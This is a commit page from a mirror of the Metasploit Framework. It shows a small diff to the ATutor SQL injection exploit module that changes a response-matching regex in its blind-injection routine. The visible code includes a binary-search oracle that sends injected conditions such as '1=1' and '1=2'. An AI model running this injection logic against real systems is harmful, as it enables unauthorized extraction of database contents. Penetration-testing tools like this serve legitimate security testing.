infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Do regex \d+ instead

bug/bundler_fix
wchen-r7 2016-03-03 11:05:16 -06:00
parent cda4c6b3b3
commit ba4e0d304b
1 changed files with 4 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
modules/exploits/multi/http/atutor_sqli.rb
View File

@ -243,7 +243,7 @@ class Metasploit3 < Msf::Exploit::Remote
mid = (lower + upper) / 2
sqli = "#{sql}>#{mid}"
result = perform_request(sqli, cookie)
if result =~ /There are \d{0,8} entries\./
if result =~ /There are \d+ entries\./
lower = mid + 1
else
upper = mid
@ -254,7 +254,7 @@ class Metasploit3 < Msf::Exploit::Remote
else
sqli = "#{sql}=#{lower}"
result = perform_request(sqli, cookie)
if result =~ /There are \d{0,8} entries\./
if result =~ /There are \d+ entries\./
value = lower
end
end
@ -265,12 +265,12 @@ class Metasploit3 < Msf::Exploit::Remote
if do_test
if do_true
result = perform_request("1=1", cookie)
if result =~ /There are \d{0,8} entries\./
if result =~ /There are \d+ entries\./
return true
end
else not do_true
result = perform_request("1=2", cookie)
if not result =~ /There are \d{0,8} entries\./
if not result =~ /There are \d+ entries\./
return true
end
end